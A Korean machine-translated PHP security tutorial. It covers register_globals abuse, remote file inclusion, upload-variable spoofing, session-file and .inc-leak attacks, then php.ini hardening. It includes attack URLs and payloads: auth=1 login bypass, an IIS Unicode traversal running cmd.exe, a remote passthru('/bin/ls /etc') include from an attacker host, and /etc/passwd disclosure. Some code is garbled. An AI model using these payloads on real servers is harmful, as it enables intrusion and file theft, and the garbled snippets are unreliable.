>백엔드 개발 >PHP 튜토리얼 >PHP 프로그래밍_php 팁의 일반적인 취약점 및 코드 예제

PHP 프로그래밍_php 팁의 일반적인 취약점 및 코드 예제

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB원래의
2016-05-16 20:38:43918검색

PHP가 널리 사용되면서 일부 해커들은 PHP 프로그램 취약점을 통한 공격을 끊임없이 찾고 있습니다. 이 섹션에서는 전역 변수, 원격 파일, 파일 업로드, 라이브러리 파일, 세션 파일, 데이터 유형 및 오류가 발생하기 쉬운 기능 측면에서 PHP의 보안을 분석합니다.

전역변수를 통한 공격은 어떻게 하나요?

PHP의 변수는 미리 선언할 필요가 없으며, 처음 사용할 때 자동으로 생성되고, 유형은 상황에 따라 자동으로 결정됩니다. 프로그래머의 관점에서 볼 때 이는 의심할 여지 없이 매우 편리한 접근 방식입니다. 변수가 생성되면 프로그램의 어느 곳에서나 사용할 수 있습니다. 이 기능의 결과로 프로그래머는 변수를 거의 초기화하지 않습니다.

분명히 PHP 기반 애플리케이션의 주요 기능은 일반적으로 사용자 입력(주로 양식 변수, 업로드된 파일, 쿠키 등)을 받아들인 다음 입력 데이터를 처리한 다음 결과를 클라이언트 브라우저에 반환합니다. PHP 코드가 사용자 입력에 최대한 쉽게 접근할 수 있도록 하기 위해 PHP는 실제로 이 입력 데이터를 전역 변수로 처리합니다.

예:

코드 복사 코드는 다음과 같습니다.

<입력 유형="제출">



텍스트 상자와 제출 버튼이 표시됩니다. 사용자가 제출 버튼을 클릭하면 "test.php"가 사용자 입력을 처리합니다. "test.php"가 실행되면 "$hello"에는 사용자가 텍스트 상자에 입력한 데이터가 포함됩니다. 여기서 우리는 공격자가 자신의 희망에 따라 전역 변수를 생성할 수 있음을 확인해야 합니다. 공격자가 폼 입력을 통해 "test.php"를 호출하지 않고 브라우저 주소창에 직접 http://server/test.php?hello=hi&setup=no를 입력하면 "$hello"만 생성되는 것이 아니라, "$setup"도 생성됩니다.
다음 사용자 인증 코드는 PHP의 전역 변수로 인해 발생하는 보안 문제를 노출합니다.

PHP 코드



코드 복사 코드는 다음과 같습니다. if ($pass == "안녕하세요")
$인증 = 1
...
if ($auth == 1)
echo "중요한 정보"
?>



위 코드는 먼저 사용자의 비밀번호가 "hello"인지 확인합니다. 일치하면 "$auth"를 "1"로 설정합니다. 이는 인증이 통과되었음을 의미합니다. 이후에 "$suth"가 "1"이면 몇 가지 중요한 정보가 표시됩니다.
이 코드는 값이 설정되지 않은 경우 "$auth"가 비어 있다고 가정하지만 공격자는 "http://server/test.php?auth=1"과 같은 방법을 통해 전역 변수를 만들고 값을 할당할 수 있습니다. 방법, 우리는 이 코드를 완전히 속여 우리가 인증했다고 믿게 만들 수 있습니다.

따라서 PHP 프로그램의 보안을 강화하기 위해 명확하게 정의되지 않은 변수는 신뢰할 수 없습니다. 프로그램에 변수가 많으면 이는 매우 어려운 작업이 될 수 있습니다.

일반적인 보호 방법은 제출 방법(GET 또는 POST)에 따라 HTTP_GET[] 또는 POST_VARS[] 배열의 변수를 확인하는 것입니다. "track_vars" 옵션이 켜져 있는 상태(기본값)로 PHP를 구성하면 사용자가 제출한 변수를 전역 변수와 위에서 언급한 배열에서 사용할 수 있습니다.

그러나 PHP에는 사용자 입력을 처리하는 데 사용되는 네 가지 배열 변수가 있다는 점을 언급할 가치가 있습니다. HTTP_GET_VARS 배열은 GET 모드로 제출된 변수를 처리하는 데 사용되며, HTTP_POST_VARS 배열은 POST 모드로 제출된 변수를 처리하는 데 사용됩니다. HTTP_COOKIE_VARS 배열은 쿠키 헤더로 제출된 변수를 처리하는 데 사용되며, HTTP_POST_FILES 배열(비교적 새로운 PHP에서 제공) ) 이는 완전히 사용자가 변수를 제출하는 선택적인 방법입니다. 사용자 요청은 이 네 가지 배열에 변수를 쉽게 저장할 수 있으므로 보안 PHP 프로그램은 이 네 가지 배열을 확인해야 합니다.

원격 파일을 통해 공격하는 방법은 무엇입니까?

PHP는 프로그래머가 특정 기능을 쉽게 구현할 수 있도록 많은 기능을 제공하는 풍부한 기능을 갖춘 언어입니다. 그러나 보안 관점에서 보면 기능이 많을수록 보안을 유지하기가 더 어려워집니다. 원격 파일은 이 문제의 좋은 예입니다.


코드 복사 코드는 다음과 같습니다. if (!($fd = fopen("$filename", "r"))
echo("파일을 열 수 없습니다: $filename
");
?>

위 스크립트는 "$filename" 파일 열기를 시도하고 실패할 경우 오류 메시지를 표시합니다. 분명히 "$filename"을 지정할 수 있다면 이 스크립트를 사용하여 시스템의 모든 파일을 탐색할 수 있습니다. 그러나 이 스크립트의 덜 분명한 특징은 다른 웹 사이트나 FTP 사이트에서 파일을 읽을 수 있다는 것입니다. 실제로 대부분의 PHP 파일 처리 기능은 원격 파일을 투명하게 처리합니다.

예:
"$filename"이 "http://target/scripts/...� ../winnt/system32/cmd.exe?/c dir"로 지정된 경우

위 코드는 실제로 호스트 대상의 유니코드 취약점을 악용하여 dir 명령을 실행합니다. 이는 원격 파일의 include(), require(), include_once() 및 require_once()에 대한 지원을 맥락상 더욱 흥미롭게 만듭니다. 이 함수의 주요 기능은 지정된 파일의 내용을 포함하고 이를 PHP 코드에 따라 해석하는 것입니다. 주로 라이브러리 파일에 사용됩니다.

예:

코드 복사 코드는 다음과 같습니다.

include($libdir . "/언어.php")
?>
위의 예에서 "$libdir"은 일반적으로 코드를 실행하기 전에 설정된 경로입니다. 공격자가 "$libdir"이 설정되는 것을 방지할 수 있으면 이 경로를 변경할 수 있습니다. 그러나 공격자는 자신이 지정한 경로에 있는 언어.php 파일에만 액세스할 수 있기 때문에 아무것도 할 수 없습니다(Perl의 "Poisonnull 바이트" 공격은 PHP에 영향을 미치지 않습니다). 그러나 원격 파일 지원을 통해 공격자는 무엇이든 할 수 있습니다. 예를 들어, 공격자는 다음 내용이 포함된 언어.php 파일을 서버에 배치할 수 있습니다.


코드 복사 코드는 다음과 같습니다.
패스스루("/bin/ls /etc")
?>

그런 다음 "$libdir"을 "http:///"로 설정하면 대상 호스트에서 위의 공격 코드를 실행할 수 있고 "/etc" 디렉터리의 내용이 해당 호스트로 반환됩니다. 결과적으로 고객이 브라우저에 표시됩니다.

공격 코드는 자신이 위치한 서버(즉, evilhost)에서 자체 PHP 프로그램을 실행하지 않는다는 점에 유의해야 합니다. 그렇지 않으면 공격 코드는 자신이 위치한 서버에서 실행되는 대신 공격 코드가 위치한 서버를 공격하게 됩니다. 대상 서버.

파일 업로드를 통한 공격 방법은?

PHP는 RFC 1867 기반의 파일 업로드를 자동으로 지원합니다. 다음 예를 살펴보겠습니다.


<입력 유형="파일" 이름="안녕하세요"> <입력 유형="제출">



위 코드를 사용하면 사용자가 로컬 컴퓨터에서 파일을 선택할 수 있으며 제출을 클릭하면 파일이 서버에 업로드됩니다. 이는 분명히 유용한 기능이지만 PHP가 응답하는 방식으로 인해 이 기능이 안전하지 않게 됩니다. PHP가 이러한 요청을 처음 받으면 호출된 PHP 코드를 구문 분석하기 전에 먼저 원격 사용자로부터 파일을 수락하고 파일 길이가 "$MAX_FILE_SIZE 변수"에 정의된 값을 초과하는지 확인합니다. 테스트를 위해 파일은 로컬 임시 디렉터리에 저장됩니다.
따라서 공격자는 PHP를 실행하는 호스트에 임의의 파일을 보낼 수 있으며, 해당 파일은 PHP 프로그램이 파일 업로드 허용 여부를 결정하기 전에 이미 서버에 저장되어 있습니다.

파일 업로드를 처리하는 PHP 프로그램을 생각해 보겠습니다. 위에서 말했듯이 파일은 서버에 수신되고 저장되며(위치는 일반적으로 /tmp 구성 파일에 지정됩니다) 확장자는 일반적으로 무작위입니다. "phpxXuoXG" 형식과 유사합니다. PHP 프로그램은 파일을 처리하기 위해 파일 정보를 업로드해야 하는데, 이는 PHP3에서 이미 사용했던 방법과 이전 방법에 대한 보안 권고를 작성한 후 도입된 두 가지 방법으로 수행할 수 있습니다.
대부분의 PHP 프로그램은 여전히 ​​업로드된 파일을 처리하는 데 이전 방식을 사용합니다. PHP는 위의 예와 같이 업로드된 파일을 설명하기 위해 4개의 전역 변수를 설정합니다.


코드 복사

코드는 다음과 같습니다.

$hello = 로컬 컴퓨터의 파일 이름(예: "/tmp/phpxXuoXG")
$hello_size = 파일 크기(예: 1024)
$hello_name = 원격 시스템에 있는 파일의 원래 이름(예:"c:\temp\hello.txt")
$hello_type = 업로드된 파일의 MIME 유형(예: "text/plain")

그런 다음 PHP 프로그램은 "$hello"에 따라 지정된 파일을 처리하기 시작합니다. 문제는 "$hello"가 반드시 PHP에 의해 설정된 변수가 아니며 모든 원격 사용자가 이를 지정할 수 있다는 것입니다. 다음을 사용하는 경우:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

은 다음 PHP 전역 변수로 연결됩니다(물론 POST 메서드도 가능합니다(쿠키도 마찬가지)).

코드 복사 코드는 다음과 같습니다.

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "텍스트/일반"
$hello_name = "hello.txt"

위 양식 데이터는 PHP 프로그램에서 예상하는 변수를 충족하지만, 현재 PHP 프로그램은 업로더의 로컬 컴퓨터에 있어야 하는 업로드된 파일을 더 이상 처리하지 않고 서버에서 "/etc/passwd"를 처리합니다. (일반적으로 콘텐츠 노출이 발생함) 파일. 이 공격은 민감한 파일의 내용을 노출하는 데 사용될 수 있습니다.

새 버전의 PHP에서는 업로드된 파일을 확인하기 위해 HTTP_POST_FILES[]를 사용하며, 이 문제를 해결하기 위한 많은 기능도 제공합니다. 예를 들어 파일이 실제로 업로드되었는지 확인하는 기능이 있습니다. 하지만 실제로는 여전히 예전 방식을 사용하는 PHP 프로그램이 많을 것이기 때문에 이들 역시 이번 공격에 취약합니다.

파일 업로드 공격 방법의 변형으로 다음 코드를 살펴보겠습니다.

코드 복사 코드는 다음과 같습니다.

if (file_exists($theme)) // 로컬 시스템에 파일이 있는지 확인합니다(원격 파일 아님)
include("$테마")
?>

공격자가 "$theme"을 제어할 수 있다면 "$theme"을 사용하여 원격 시스템의 모든 파일을 읽을 수 있다는 것은 명백합니다. 공격자의 최종 목표는 원격 서버에서 임의의 명령을 실행하는 것이지만 원격 파일을 사용할 수 없으므로 원격 서버에 PHP 파일을 생성해야 합니다. 처음에는 불가능해 보일 수 있지만 공격자가 먼저 PHP 코드가 포함된 로컬 컴퓨터에 파일을 만든 다음 "theme"라는 파일 필드가 포함된 양식을 만들고 마지막으로 이 양식을 사용하면 파일 업로드가 가능합니다. PHP 코드가 포함된 생성된 파일을 파일 업로드를 통해 위 코드에 제출합니다. PHP는 공격자가 제출한 파일을 저장하고 이러한 방식으로 file_exists() 함수를 "$theme" 값으로 설정합니다. 검사를 통과하고 공격자의 코드가 실행됩니다.
임의의 명령을 실행할 수 있는 능력을 얻은 후 공격자는 분명히 권한을 상승시키거나 결과를 확장하기를 원하며, 이를 위해서는 서버에서 사용할 수 없는 일부 도구 세트가 필요하며 파일 업로드는 다시 한 번 공격자에게 도움이 됩니다. 공격자는 파일 업로드 기능을 사용하여 도구를 업로드하고 서버에 저장한 다음 명령을 실행하는 기능을 사용하고 chmod()를 사용하여 파일의 권한을 변경한 다음 실행할 수 있습니다. 예를 들어 공격자는 방화벽이나 IDS를 우회해 로컬 루트 공격 프로그램을 업로드한 후 실행함으로써 루트 권한을 얻을 수 있다.

라이브러리 파일을 통한 공격 방법은?

앞서 논의한 것처럼 include()와 require()는 주로 코드 베이스를 지원하기 위한 것입니다. 왜냐하면 우리는 일반적으로 자주 사용하는 일부 기능을 별도의 파일에 저장하고, 이 독립된 파일이 필요할 때 코드 베이스를 사용하기 때문입니다. 함수를 사용하려면 이 코드 라이브러리만 현재 파일에 포함하면 됩니다.

처음에 사람들은 PHP 프로그램을 개발하고 출시할 때 코드 라이브러리를 메인 프로그램 코드와 구별하기 위해 일반적으로 코드 라이브러리 파일에 ".inc" 확장자를 설정했지만 이것이 실수였다는 것을 곧 발견했습니다. , 왜냐하면 이러한 파일은 PHP 인터프리터가 PHP 코드로 올바르게 구문 분석할 수 없기 때문입니다. 이런 파일을 서버에 직접 요청하면 해당 파일의 소스코드를 얻게 되는데, 이는 PHP를 아파치 모듈로 사용할 때 PHP 인터프리터가 파일 확장자에 따라 이를 PHP로 파싱할지 여부를 결정하기 때문입니다. 암호. 확장자는 사이트 관리자가 지정하며 일반적으로 ".php", ".php3" 및 ".php4"입니다. 중요한 구성 데이터가 적절한 확장명 없이 PHP 파일에 포함되어 있으면 원격 공격자가 이 정보를 쉽게 얻을 수 있습니다.

가장 간단한 해결책은 각 파일에 PHP 파일 확장자를 지정하는 것입니다. 이렇게 하면 소스 코드 유출을 효과적으로 방지할 수 있지만, 이 파일을 요청하면 공격자가 코드를 유출할 수도 있습니다. 독립적으로 실행되도록 컨텍스트에서 실행하면 이전에 설명한 모든 공격이 발생할 수 있습니다.

다음은 분명한 예입니다.

코드 복사 코드는 다음과 같습니다.

main.php에서:
$libDir = "/libdir"
$langDir = "$libdir/언어"
... 
include("$libdir/load언어.php":
?> libdir/load언어.php:

... 

include("$langDir/$userLang")
?>

"main.php"에 의해 "libdir/load언어.php"가 호출되면 상당히 안전하지만 "libdir /load언어"에는 ".php" 확장자가 있으므로 원격 공격자가 이 파일을 직접 요청할 수 있습니다. "$langDir", "$userLang" 값은 임의로 지정할 수 있습니다.

세션 파일을 통한 공격은 어떻게 하나요?

PHP 4 이상 버전은 세션을 지원합니다. 세션의 주요 기능은 PHP 프로그램의 페이지 간 상태 정보를 저장하는 것입니다. 예를 들어, 사용자가 웹사이트에 로그인하면 그가 로그인했다는 사실과 웹사이트에 로그인한 사람에 대한 정보가 세션에 저장됩니다. 웹사이트를 탐색할 때 모든 PHP 코드는 이 상태를 얻을 수 있습니다. 정보.

실제로 세션이 시작될 때(실제로 첫 번째 요청에서 자동으로 시작되도록 구성 파일에 설정됨) 원격 브라우저가 항상 전송하는 경우 임의의 "세션 ID"가 생성됩니다. 이 "세션 ID"를 제출하면 "를 요청하면 세션이 유지됩니다. 이는 쿠키를 통해 또는 각 페이지에 양식 변수("세션 ID" 포함)를 제출하여 쉽게 수행할 수 있습니다. PHP 프로그램은 세션을 사용하여 특수 변수를 등록할 수 있습니다. 해당 값은 각 PHP 스크립트가 끝난 후 세션 파일에 저장되고 각 PHP 스크립트가 시작되기 전에 변수에 로드됩니다. 다음은 간단한 예입니다.

코드 복사 코드는 다음과 같습니다.

session_destroy(); // 현재 세션에 있는 모든 데이터를 종료합니다
$session_auth = "숀"
session_register("session_auth"); // $session_auth를 세션 변수로 등록
?>
PHP의 새 버전은 자동으로 "$session_auth" 값을 "shaun"으로 설정합니다. 수정된 경우 향후 스크립트는 자동으로 수정된 값을 수락합니다. 이는 실제로 상태 비저장 웹의 문제입니다. 하지만 우리도 조심해야 해요.

명백한 문제는 변수가 세션에서 나오는지 확인하는 것입니다. 예를 들어 위 코드에서 후속 스크립트가 다음과 같은 경우


코드 복사 코드는 다음과 같습니다.
if (!emptyempty($session_auth))
// 여기에서 사이트에 대한 액세스 권한을 부여하세요
?>

위 코드에서는 "$session_auth"에 값을 할당하면 사용자 입력이 아닌 세션에서 할당하는 것으로 가정합니다. 공격자가 폼 입력을 통해 값을 할당하면 사이트에 접근할 수 있습니다. 공격자는 이 공격 방법을 사용하기 전에 세션에 변수를 등록해야 합니다. 변수가 세션에 추가되면 모든 양식 입력을 덮어쓰게 됩니다.

세션 데이터는 일반적으로 파일에 저장됩니다(위치는 구성 가능하며 일반적으로 "/tmp"). 파일 이름은 일반적으로 "sess_" 형식입니다. 변수 값 및 기타 데이터. 다중 호스트 시스템에서는 파일이 웹 서버를 실행하는 사용자(보통 아무도)로 저장되기 때문에 악의적인 사이트 소유자가 다른 사이트에 접근하기 위해 세션 파일을 생성할 수 있고 심지어 세션 파일의 민감한 정보를 검사할 수도 있습니다. .

세션 메커니즘은 공격자가 자신의 입력을 원격 시스템의 파일에 저장할 수 있는 또 다른 편의성도 제공합니다. 위의 예에서 공격자는 PHP 코드가 포함된 파일을 원격 시스템에 배치해야 합니다. 파일 업로드를 사용하여 이를 수행할 수 없는 경우 일반적으로 세션을 사용하여 원하는 대로 변수에 값을 할당한 다음 추측합니다. 세션 파일 위치이며 파일 이름이 "php"라는 것을 알고 있으므로 디렉토리만 추측하면 되며 디렉토리는 일반적으로 "/tmp"입니다.

또한 공격자는 "세션 ID"(예: "hello")를 임의로 지정한 후 이 "세션 ID"를 사용하여 세션 파일(예: "/tmp/sess_hello")을 생성할 수 있지만 "세션 ID"는 문자와 숫자의 조합만 가능합니다.

데이터 유형별 공격 방법은?

PHP에는 느슨한 데이터 유형이 있으며 변수 유형은 변수가 위치한 컨텍스트에 따라 다릅니다. 예를 들어 "$hello"는 값이 ""인 문자열 변수로 시작하지만 평가할 때 정수 변수 "0"이 되어 때로는 예상치 못한 결과가 발생할 수 있습니다. "$hello"의 값이 "000"과 "0" 사이에서 다른 경우, empty()에 의해 반환된 결과는 true가 아닙니다.

PHP의 배열은 연관 배열입니다. 즉, 배열의 인덱스는 문자열 유형입니다. 이는 "$hello["000"]"와 "$hello[0]"도 다르다는 의미입니다.

프로그램을 개발할 때 위의 문제를 신중하게 고려해야 합니다. 예를 들어 변수가 "0"인지 한 곳에서 테스트하고 다른 곳에서 이를 확인하기 위해 empty()를 사용해서는 안 됩니다.

오류가 발생하기 쉬운 기능을 통해 공격하는 방법은 무엇입니까? 다음은 오류가 발생하기 쉬운 함수의 자세한 목록입니다.

코드 복사 코드는 다음과 같습니다.

1. 2. require(): 지정된 파일의 내용을 읽어서 PHP 코드로 해석합니다
3. include(): 위와 동일
4. eval(): 주어진 문자열을 PHP 코드로 실행
5. preg_replace(): "/e" 스위치와 함께 사용하면 대체 문자열이 PHP 코드로 해석됩니다.
6.
7. <명령 실행> 8. exec(): 지정된 명령을 실행하고 실행 결과의 마지막 줄을 반환합니다
9. passthru(): 지정된 명령을 실행하고 모든 결과를 클라이언트 브라우저에 반환합니다
10.``: 지정된 명령을 실행하고 모든 결과를 배열로 반환합니다
11. system(): passthru()와 동일하지만 바이너리 데이터를 처리하지 않습니다
12. popen(): 지정된 명령을 실행하고 입력 또는 출력을 PHP 파일 설명자에 연결합니다
13.
14. <파일 유출> 15. fopen(): 파일을 열고 PHP 파일 디스크립터에 대응
16. readfile(): 파일의 내용을 읽어 클라이언트 브라우저에 출력합니다
17. file(): 전체 파일 내용을 배열로 읽어옵니다



PHP의 보안을 강화하는 방법은 무엇입니까?

위에서 소개한 모든 공격은 PHP4의 기본 설치에 대해 잘 구현될 수 있지만 PHP 구성은 매우 유연하므로 일부 PHP 옵션을 구성하면 이러한 공격 중 일부에 저항하는 것이 전적으로 가능합니다. 아래에서는 구현 난이도에 따라 일부 구성을 분류합니다.


코드 복사 코드는 다음과 같습니다. *낮은 난이도
**낮음~중간 난이도
***중간~고난이도
****난이도 높음


PHP에서 제공하는 모든 옵션을 사용하면 PHP의 많은 기능을 더 이상 사용할 수 없으므로 타사 코드를 사용하더라도 PHP는 매우 안전합니다.

**** "register_globals"를 "off"로 설정

이 옵션은 PHP가 사용자 입력을 위한 전역 변수를 생성하는 것을 비활성화합니다. 즉, 사용자가 "hello" 양식 변수를 제출하면 PHP는 "$hello"를 생성하지 않고 "HTTP_GET/POST_VARS['hello''만 생성합니다. ] ". 이는 PHP에서 매우 중요한 옵션입니다. 이 옵션을 끄면 프로그래밍에 큰 불편을 겪게 됩니다.

*** "safe_mode"를 "on"으로 설정

이 옵션을 켜면 다음 제한 사항이 추가됩니다.

1. 실행할 수 있는 명령 제한
2. 사용할 수 있는 기능 제한
3. 스크립트 소유권 및 대상 파일 소유권에 따른 파일 접근 제한
4. 파일 업로드 기능 비활성화

이것은 ISP를 위한 "훌륭한" 옵션이며 PHP 보안도 크게 향상시킵니다.

** "open_basedir" 설정

이 옵션은 지정된 디렉터리 외부의 파일 작업을 금지하여 include()를 통해 로컬 파일이나 원격 파일에 대한 공격을 효과적으로 제거할 수 있지만, 여전히 파일 업로드 및 세션 파일에 대한 공격에 주의해야 합니다.

** "display_errors"를 "off"로 설정하고 "log_errors"를 "on"으로 설정합니다.

이 옵션은 오류 메시지가 웹 페이지에 표시되는 것을 비활성화하고 대신 로그 파일에 기록하므로 공격자가 대상 스크립트에서 기능을 탐지하는 것을 효과적으로 방지할 수 있습니다.

* "allow_url_fopen"을 "끄기"로 설정

이 옵션은 원격 파일 기능을 비활성화합니다.

코드 복사 코드는 다음과 같습니다.

//여기서allow_url_fopen 참고, jnc 블로그에서 봤으니 를 사용해도 됩니다.

include('\myiptest.php')
?>
include('//myiptest.php')
?>

여유롭게 오셨나요?

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.